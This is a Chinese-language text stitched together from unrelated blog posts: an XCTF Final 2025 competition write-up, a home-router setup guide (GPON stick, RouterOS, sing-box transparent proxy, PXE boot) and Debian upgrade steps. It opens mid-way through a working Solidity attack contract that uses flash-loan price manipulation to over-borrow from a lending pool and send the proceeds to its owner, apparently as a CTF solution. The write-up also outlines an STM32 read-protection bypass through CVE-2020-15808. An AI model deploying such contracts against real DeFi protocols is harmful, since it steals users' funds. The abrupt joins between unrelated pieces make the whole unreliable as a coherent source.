            _firstRoundAttack(amount, repayAmount);
        } else {
            // Subsequent rounds: extract more value from collateral
            _extractMoreValue(amount, repayAmount);
        }
        
        // Always ensure repayment
        _ensureRepayment(repayAmount);
        
        // Transfer any remaining profit to owner
        uint256 profit = stableToken.balanceOf(address(this));
        if (profit > 0) {
            stableToken.transfer(owner, profit);
        }
    }
    
    function _firstRoundAttack(uint256 amount, uint256 repayAmount) internal {
        // Use most of flash loan for price manipulation
        uint256 manipulationAmount = (amount * 98) / 100; // 98% for manipulation
        
        // Swap to get collateral at low price
        stableToken.approve(address(dex), manipulationAmount);
        uint256 collateralReceived = dex.swap(
            address(stableToken),
            manipulationAmount,
            0,
            address(this)
        );
        
        // Deposit all collateral to maximize borrowing power
        collateralToken.approve(address(pool), collateralReceived);
        pool.depositCollateral(collateralReceived);
        
        // Borrow everything possible from the pool
        uint256 poolBalance = stableToken.balanceOf(address(pool));
        (,uint256 maxBorrowable,) = pool.accountStatus(address(this));
        
        uint256 borrowAmount = maxBorrowable < poolBalance ? maxBorrowable : poolBalance;
        if (borrowAmount > 0) {
            pool.borrow(borrowAmount);
        }
    }
    
    function _extractMoreValue(uint256 amount, uint256 repayAmount) internal {
        // For later rounds, focus on extracting value from our collateral position
        uint256 collateralDeposited = pool.collateralDeposits(address(this));
        uint256 currentDebt = pool.debt(address(this));
        
        if (collateralDeposited > 0) {
            // Calculate how much we can safely withdraw
            (uint256 collateralValue,,) = pool.accountStatus(address(this));
            
            // Minimum collateral value needed to maintain position
            uint256 minCollateralValue = (currentDebt * 1e18) / pool.COLLATERAL_FACTOR();
            
            if (collateralValue > minCollateralValue) {
                // We can withdraw some excess collateral
                uint256 excessValue = collateralValue - minCollateralValue;
                uint256 currentPrice = dex.spotPrice(address(collateralToken));
                uint256 maxWithdraw = (excessValue * 1e18) / currentPrice;
                
                // Withdraw with safety margin
                maxWithdraw = (maxWithdraw * 90) / 100;
                
                if (maxWithdraw > 0 && maxWithdraw <= collateralDeposited) {
                    pool.withdrawCollateral(maxWithdraw);
                    
                    // Sell the withdrawn collateral
                    collateralToken.approve(address(dex), maxWithdraw);
                    dex.swap(
                        address(collateralToken),
                        maxWithdraw,
                        0,
                        address(this)
                    );
                }
            }
            
            // Try to do another round of price manipulation with available funds
            uint256 availableForManipulation = stableToken.balanceOf(address(this));
            if (availableForManipulation > repayAmount + 100 ether) {
                uint256 manipAmount = availableForManipulation - repayAmount - 50 ether;
                
                // Another round of price manipulation
                stableToken.approve(address(dex), manipAmount);
                uint256 newCollateral = dex.swap(
                    address(stableToken),
                    manipAmount,
                    0,
                    address(this)
                );
                
                // Deposit and borrow again
                collateralToken.approve(address(pool), newCollateral);
                pool.depositCollateral(newCollateral);
                
                (,uint256 newMaxBorrow,) = pool.accountStatus(address(this));
                uint256 additionalBorrow = newMaxBorrow - currentDebt;
                
                uint256 poolBalance = stableToken.balanceOf(address(pool));
                if (additionalBorrow > 0 && additionalBorrow <= poolBalance) {
                    pool.borrow(additionalBorrow);
                }
            }
        }
    }
    
    function _ensureRepayment(uint256 repayAmount) internal {
        uint256 currentBalance = stableToken.balanceOf(address(this));
        
        if (currentBalance < repayAmount) {
            uint256 shortage = repayAmount - currentBalance;
            
            // Withdraw collateral to cover shortage
            (uint112 reserve0, uint112 reserve1) = dex.getReserves();
            uint256 collateralNeeded = (shortage * uint256(reserve0) * 110) / (uint256(reserve1) * 100);
            
            uint256 availableCollateral = pool.collateralDeposits(address(this));
            if (collateralNeeded > availableCollateral) {
                collateralNeeded = availableCollateral;
            }
            
            if (collateralNeeded > 0) {
                pool.withdrawCollateral(collateralNeeded);
                collateralToken.approve(address(dex), collateralNeeded);
                dex.swap(
                    address(collateralToken),
                    collateralNeeded,
                    0,
                    address(this)
                );
            }
        }
        
        // Repay the flash loan
        stableToken.transfer(address(flashMinter), repayAmount);
    }
    
    function _finalCleanup() internal {
        // Extract any remaining collateral value
        uint256 remainingCollateral = pool.collateralDeposits(address(this));
        uint256 currentDebt = pool.debt(address(this));
        
        if (remainingCollateral > 0) {
            // Try to withdraw remaining collateral if debt allows
            if (currentDebt == 0) {
                // No debt, can withdraw everything
                pool.withdrawCollateral(remainingCollateral);
                collateralToken.approve(address(dex), remainingCollateral);
                dex.swap(
                    address(collateralToken),
                    remainingCollateral,
                    0,
                    owner
                );
            } else {
                // Calculate safe withdrawal amount
                (uint256 collateralValue,,) = pool.accountStatus(address(this));
                uint256 minRequired = (currentDebt * 1e18) / pool.COLLATERAL_FACTOR();
                
                if (collateralValue > minRequired) {
                    uint256 excessValue = collateralValue - minRequired;
                    uint256 currentPrice = dex.spotPrice(address(collateralToken));
                    uint256 withdrawable = (excessValue * 1e18) / currentPrice;
                    withdrawable = (withdrawable * 95) / 100; // Safety margin
                    
                    if (withdrawable > 0 && withdrawable <= remainingCollateral) {
                        pool.withdrawCollateral(withdrawable);
                        collateralToken.approve(address(dex), withdrawable);
                        dex.swap(
                            address(collateralToken),
                            withdrawable,
                            0,
                            owner
                        );
                    }
                }
            }
        }
        
        // Transfer any remaining stable tokens to owner
        uint256 remainingStable = stableToken.balanceOf(address(this));
        if (remainingStable > 0) {
            stableToken.transfer(owner, remainingStable);
        }
    }
    
    // Check if attack was successful
    function checkSuccess() external view returns (bool) {
        return setup.isSolved();
    }
}

于是拿了一血。

Misc - GhostTunnel

这个比较有意思的一个golang实现的tunnel，但是第一问被非预期了——给了core dump，strings搜一下就拿到flag的base64了。Revenge其实就是把这个字符串删了…

如果正常来做的话，首先观察发现是upx的，想办法脱壳：（尝试用qiling跑模拟，调了半天发现upx可以直接解）而后拖入ida观察发现有这样的定义_golang，也能找到一些golang风格的调用。

GitHub - mandiant/GoReSym: Go symbol recovery tool用了这个软件拿到了golang的符号，大概（用AI）看了眼发现了主要逻辑的位置，没往后逆了，过几天看看有没有空补上。预期做法大概是从core dump里拿密钥，然后再解密流量拿flag。不过最后是零解，想必也不是很简单了。

Reverse - Rewrite it in Rust

一个wasm，js里没啥内容？？主要逻辑都在wasm二进制里，怎么还是rust。。。尝试用ida mcp做了会还真吐出来了flag。

Realworld - STM32-MorseCode

一块开发版，要求是在Pin C13上敲XCTF的morse 电码就给uid，然后把uid通过Mifare Classic Tool 写入就能在现场刷卡了

__   __ _____  _______  ______            ____    _____  _____
\ \ / // ____||__   __||  ____|          / __ \  / ____||  __ \
 \ V /| |        | |   | |__      \ /   | |  | || (___  | |__) |
  > < | |        | |   |  __|      X    | |  | | \___ \ |  _  /
 / . \| |____    | |   | |        / \   | |__| | ____) || | \ \
/_/ \_\\_____|   |_|   |_|               \____/ |_____/ |_|  \_\

[*] Welcome to XCTF Final 2025 ~
[0] The Attachment at https://github.com/xuanxuanblingbling/xctf_2025_final_rw_stm32
[1] Tap Morse code "XCTF" at PC13 (active low) to get the first NFC M1 Card UID !
[2] Use CVE-2020-15808 or Glitch Attack to bypass STM32F103 RDP1, get the second NFC M1 Card UID at 0x0800F000 !

Realworld - STM32-RDPBypass

和上面一样的一块STM32开发版。提示是用CVE-2020-15808或者Glitch Attack来绕过RDP level 1 读取，而后读取内存上的0x0800F000处的uid。

💡

RDP是Read Protection。在STM32中，flash和CPU，memory等固件被一起封装到MCU片中，这样我们就无法使用烧录夹来单独读取flash固件中的内容了（对比esp32？）。所以为了让在mcu中的flash也无法被读取，stm设计了一套读保护机制，在使用stlink或者jlink这类调试器时，系统不会允许读取flash中的内容。

于是RDP bypass就是用来读取这样内容的。

根据提示有两种方法，一种是Glitch Attack，我没用这个方法（其实就是没找到Orz）放一篇paper吧。

View of Shaping the Glitch: Optimizing Voltage Fault Injection Attacks

第二种是CVE，根据网上不算很多的信息能定位到一条推文——带有源码漏洞位置

Tweet: https://x.com/horac341/status/1311911734572208129

以及一篇pdf

i.blackhat.com

由此可以定位到相关的函数（其他地方应该也有，大概是a2这个结构体）

经过仔细比对确实是没有长度检查，对比后来的stm32库中的代码,在这个库中https://github.com/STMicroelectronics/stm32-mw-usb-device/blob/d1a9b6baeafc56053db3f8ac946c98e5aa925338/Class/CDC/Src/usbd_cdc.c

才添加了相对应的长度check，堵死了这个漏洞。

于是我们只需要用pyusb这类设备操作usb给stm32的硬件发送构造好的request，就能读取到数据的内容。

但是由于用脑过度没能做出来，遗憾。

💡

赛后出题人说用Glitch Attack的找他们借了设备的都被送了设备，彻底失败。

过几天复现了再发一篇文章😭

Day 2 AWD

原汁原味的AWD（存疑。

因为主要是web和pwn，没我什么事情，所以负责写脚本，批量化运行exp并提交flag。（乐

当然web小伙伴评价也是没什么参与感.jpg。把题目贴进chatgpt或者claude code，然后等一会就能看到攻击路径，然后写代码就好了。。。

但是比较新奇的是增加了可以看flag的流量包和其他选手的patch，所以这比awdp更有趣更刺激。

solo

solo是两位crypto小伙伴做的。在开始第一轮时我们是前4，所以24 - 12 我们没有打。而后是一个16 - 8。这场是crypto，没看。下面一场8 - 4 是 re， 同样用mcp扔给gpt是rc2，搓了脚本秒出。4 - 2 是vm，好消息是代码很短，稍微理一理逻辑，也不是很难的。

最后一个是pwn，对手是我们的pwn老大tplus（为什么在我们对面！），毫无疑问地输了。

END

燃尽了，睡酒店里还被蚊子咬了好多包！睡觉去了Orz

最开始想的是PVE来做外层，里面放个RouterOS，还有空间还能放其他的。这样确实是跑通了：pve创建了一个虚拟网卡连进了内网，也可以内网访问了。然后就想到了一个问题：万一某一天RouterOS没有启动起来，那我不是也没办法恢复了？

于是决定最外层就放RouterOS本体，里面再折腾点什么docker之类的来扩展服务。（但是为什么不在NAS上搞呢）

0x01 配置猫棒

猫棒是用来替代光猫的（？真能替代吗）大概是光模块 + 一个完整的单片机用来模拟光猫的硬件（LOID，vlan等）不同于光模块需要插到支持sfp的软路由/电脑里进行配置，猫棒可以做带接近即插即用。（当然主要是带sfp电口的软路由太贵了，又不太好改pcie加装电口，才会出现这样的东西。

💡

需要注意的是，当前比较便宜的猫棒/光模块是支持GPON而不是EPON的。

EPON：最大速率1G，GPON：最大速率2.5G，XGPON：最大速率10G。（XGPON是向下兼容GPON的，所以也可以用哦——）

当然如果家里开了万兆/两千兆宽带的富哥我们一般是不建议买猫棒这种垃圾货色的。（UniFi更适合您😭）

这玩意咸鱼太多了，随便找一个买就行，一般卖家还是不错的，不会发坏掉的给我们。（某位老师说咸鱼上买到的这种可能来自河南的移动基站，但是我收到的为啥是广东发货的）

但是由于是sfp口，电脑还是不支持的，所以我们需要找一个光转电的模块，把sfp转成rj45的。搜了下学名叫收发器，2.5G的大概70块。

另外，一般住户的入户光纤和sfp接口也不兼容，需要准备一个转接头。同样，在买猫棒的时候，店家可能会问你。

这一步是分运营商的，其他运营商我没开过T T，所以就以吉林电信来讲吧

要模拟光猫的系统工作，你需要这些内容：LOID，vlan，设备标识号。这些内容存在在光猫的后台中（需要超管？不一定）

💡

但是在社会工程学的强大力量加持下，我找宽带师傅要来了超管账号密码。（其实比较简单的做法是直接重置光猫：重置光猫不会丢掉它的pppoe登录信息，只会丢掉其他的配置）

可以看到41结尾的是Vlan ID，LOID我也是直接找师傅要到的。设备标识号在设备的反面，反过来就能看到。

另外你还需要获得pppoe的账号密码！这个密码不是app那里改的密码，还是需要登录后台去看。

信息准备好了就可以把光猫背面的光纤拔掉，通过转接口插到猫棒上，然后插到收发器上，把收发器的电源插上，再把收发器的rj45插到电脑上。（什么人体蜈蚣）

手动设置下ip，设置在192.168.1.0/24里的随便一个（别是10就行），子网掩码255.255.255.0。

然后就能访问到1.10上的openwrt了。打开GPON栏里的互操作兼容设置，输入LOID，GPON SN，

打开vlan设置，pvid填写上网vlan，我这台没开iptv，就不用填其他的了。

然后保存，之后重启。可以看到首页上有注册状态和接收光强度等级。接收光强度在-10 ～ -18 dbm算是正常的，注册状态是5说明这里配置是没问题的。

然后就是非常传统的PPPoE拨号配置了：输入账号密码，登录。如果有网就连接成功了。

💡

噔噔咚

当你做到这一步的时候你会发现，用纯硬路由器（arm/mips/riscv）来拨号，是会有性能损失的。（存疑，不确定是运营商的问题还是我硬件的问题）跑测速只有几mb这样子。（确实是性能问题———

0x02 安装 RouterOS

这是卡了我最久的一步….

RouterOS提供：netinstall，相当于pve启动，配置比较玄学；install-image（只能往所在盘安装）。这导致我的一般方法都用不了（）跟着网上的说法做，被迫下了一个pe系统——这里用的是edgeless，看上去美观一些.jpg。当然其实把东西全下下来用dd也行。

下载：https://mikrotik.ltd/ 到这里去下载install-image。

通过dd或者其他的什么方式把它直接写入目标盘。重新启动到系统，就能看到安装界面了。选盘，安装，记得一定要安装option包

于是打开就有一个略微正常的系统了，因为是非常爽的4口软路由，所以我们有四个网卡设备（这不废话吗）

0x03 配置基础

这里用的gitee.com这个教程，照着配就行了。

0x04 配置AP接入

既然已经用了ROS做主路由了那么，在里面套LAN似乎没什么必要。所以我们让wifi变成AP只做接入：分配网段等操作交给主路由。

简单的在openwrt之类的里面把DHCP关掉就好，然后把wan和lan口放到同一个bridge里，保存重启就能在ROS后台看到接入的设备了

0x05 透明代理

其实前面几个都不是这一套系统的主要作用，最后这一个才是啊😭

实现之后大概是这样：

国内请求→sing-box (dns) → 国内real-ip → 正常访问（直接走pppoe出站）

国外请求→sing-box (dns) → 国外fake-ip → 路由到sing-box(tun) → 加密混淆…. → pppoe 出站。

要做到这样的请求，我们需要用container容器，所以这里我们先把容器功能打开

/system/device-mode/update container=yes

然后直接断电再插上，不是reboot！

然后如果没有container的就安装container，有的就不管。

接下来添加一个veth网卡，有些教程是放到docker的一个bridge里，我这里就直接放主bridge了

/interface/veth add address=192.168.2.2/24 gateway=192.168.2.1 name=veth1
/interface/bridge/port add bridge=bridge1 interface=veth1

创建挂载点

/container/mounts/ add name="singbox" src=/containers/appdata/singbox dst="/root/sing-box"

用你想用的方式（sftp或者直接file上传）你的配置（见下文）

然后创建容器

/container/ add remote-image=sagernet/sing-box:latest cmd="run -D /root/sing-box -C /root/sing-box" comment=singbox interface=veth_singbox mounts=singbox_persist root-dir=/containers/singbox  start-on-boot=yes

启动完成其实就好了。

如果你按照前面那篇的配置来做的话，需要把defconf: drop invalid connection的防火墙里排除掉 198.18.0.0/15 这个网段，然后添加fake-ip静态路由

/ip/route add comment=fakeip disabled=no distance=1 dst-address=198.18.0.0/15 gateway=192.168.2.2 pref-src=0.0.0.0 routing-table=main suppress-hw-offload=yes

配置文件修改的地方如下：

inbound中这样写：

{
      "type": "tun",
      "sniff": true,
      "auto_route": true,
      "auto_redirect": false,
      "strict_route": false,
      "address": ["172.18.0.1/30"],
      "route_address": ["0.0.0.0/1", "128.0.0.0/1"],
      "route_exclude_address_set": ["geoip-cn"],
      "route_exclude_address": ["172.18.0.1/16", "192.168.0.0/16"],
      "mtu": 9000
    },
    {
      "type": "direct",
      "tag": "dns-in",
      "network": "udp",
      "listen": "0.0.0.0",
      "listen_port": 53
    }

DNS里：

{
    "servers": [
      {
        "tag": "cloudflare",
        "address": "tls://1.0.0.1",
        "detour": "direct"
      },
      {
        "tag": "local",
        "address": "119.29.29.29",
        "detour": "direct"
      },
      {
        "tag": "gladns",
        "detour": "proxy", # 这里填你的proxy
        "address": "https://1.0.0.1/dns-query"
      },
      {
        "tag": "block",
        "address": "rcode://success"
      },
      {
        "type": "fakeip",
        "tag": "fakeip",
        "inet4_range": "198.18.0.0/15",
        "inet6_range": "fc00::/18"
      }
    ],
    "final": "gladns",
    "rules": [
      {
        "outbound": "any",
        "rewrite_ttl": 300,
        "server": "local"
      },
      {
        "rule_set": "geoip-cn",
        "server": "local"
      },
      {
        "rule_set": "geoip-cn",
        "invert": true,
        "rewrite_ttl": 900,
        "server": "fakeip"
      }
    ],
    "strategy": "ipv4_only"
  }

0x06 PXE

然后又多了一个nas，但是没带U盘。那顺便搞一下这个吧：netboot.xyz是比较好用的一个网络安装工具。

下载好了传到根目录

1. 在ip dhcp server里添加boot file = netboot.xyz.efi，next server = 192.168.2.1
2. 在ip tftp里添加 一个filename = netboot.xyz.efi, local-file= netboot.xyz.efi的文件。

启动你的设备，在BIOS里设置（Network Stack Configuration或者类似的设置里开启ipv4 pxe），这个时候就能自动启动到netboot了。

先把所有软件包升级到当前最新版

apt update
apt upgrade -y
apt full-upgrade -y
apt autoclean
apt autoremove -y

然后把apt源里的bookworm换成trixie

sed -i 's/bookworm/trixie/g' /etc/apt/sources.list
sed -i 's/bookworm/trixie/g' /etc/apt/sources.list.d/*.list
sed -i 's/bookworm/trixie/g' /etc/apt/sources.list.d/*.sources

再升级一次

apt update
apt upgrade -y
apt full-upgrade -y

自动删除不需要的

apt autoclean
apt autoremove -y

最后reboot重启就好

root@debian ~ $ cat /etc/debian_version 
13.0
root@debian ~ $ lsb_release -a
No LSB modules are available.
Distributor ID:	Debian
Description:	Debian GNU/Linux 13 (trixie)
Release:	13
Codename:	trixie
root@debian ~ $ uname -a
Linux upload 6.12.38+deb13-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.38-1 (2025-07-16) x86_64 GNU/Linux